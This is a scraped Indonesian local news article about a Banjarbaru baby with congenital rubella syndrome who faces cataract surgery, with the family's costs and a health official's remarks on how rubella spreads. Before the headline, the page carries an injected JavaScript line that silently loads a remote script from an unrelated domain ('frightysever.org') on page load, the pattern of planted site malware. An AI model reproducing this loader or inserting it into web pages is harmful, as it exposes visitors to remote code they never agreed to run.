(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bayi Penderita Rubella Akan Jalani Operasi di RSUD Ulin


BANJARBARU, Masih ingat dengan Adila Nafisa, bayi yang divonis mengidap penyakit Rubella. Parahnya lagi, bayi Adila harus menderita tiga penyakit lantaran sindrom rubella kongenital yang dialami ibunya saat hamil. Sebelumnya kita ketahui bahwa kasus Rubella seperti ini ternyata tak pernah ditemui di Kota Banjarbaru.

Kabar terbaru yang diterima tim Kanalkalimantan.com, saat ini Adila masih melakukan konsultasi mengenai pengobatan yang harus dijalaninya. Sang ibu, Sri Utami mengakatakan Selasa depan putrinya menjalani operasinya di RS Ulin Banjarmasin.

“Alhamdulillah, dedek dapat jadwal operasi hari Selasa untuk operasi  katarak kongenital sebelah kiri,” ujarnya.

Operasi Adila akan ditanggu oleh  jaminan kesehatan BPJS. Namun belum diketahui berapa biaya tambahan yang akan di perlukan saat perawatan nanti. Diakui bunda, pengobatan ini harus di lakukan satu persatu yakni pengobatan katarak kongenital sebelah kiri, kelainan jantung, gangguan pendengaran, delay tumbuh kembang dan down syndrome. Adila juga akan terus menjalani terapi yang banyak untuk kesembuhannya.

“Kalau untuk sembuh layaknya anak yang lain tidak mungkin. Tapi untuk memaksimalkan kemampuannya,  kami harus melakukan terapi terus,” kata Sri Utami.

Hal yang saat ini menjadi beban kedua orang tua Adila adalah biaya pengobatan. Meski pengobatan medis ditanggung oleh BPJS, namun biaya di luar itu seperti perawatan pasca pengobatan terbilang cukup besar. “Kami ingin menggalang dana buat membeli alat bantu dedek nanti, tapi setelah selesai operasi. Harapan kami ada banyak tangan yang mau membantu,” harap Sri Utami.

Kejadian ini menjadi perhatian warga Banjarbaru maupun warga kota lain. Bahwa penyakit rubella (campak Jerman) memang mudah diobati jika penderita merupakan orang dewasa (bukan ibu hamil). Namun jika menyerang ibu hamil akan berbeda lagi ceritanya.

“Jika seseorang tidak pernah mendapatkan vaksin untuk Rubella maka akan cukup berbahaya untuk orang tersebut,” kata Kepala Dinas Kesehatan Banjarbaru, Agus Widjaja.

Penyakit ini disebabkan oleh virus rubella dan dapat menyebar dengan sangat mudah. Penularan utamanya dapat melalui butiran liur di udara yang dikeluarkan penderita melalui batuk atau bersin. Berbagi makanan dan minuman dalam piring atau gelas yang sama dengan penderita juga dapat menularkan Rubella. “Sama halnya jika Anda menyentuh mata, hidung, atau mulut Anda setelah memegang benda yang terkontaminasi virus Rubella,” terangnya. (devi)

Reporter: Devi
Editor: Chell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

8 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

8 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

9 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

9 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

10 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.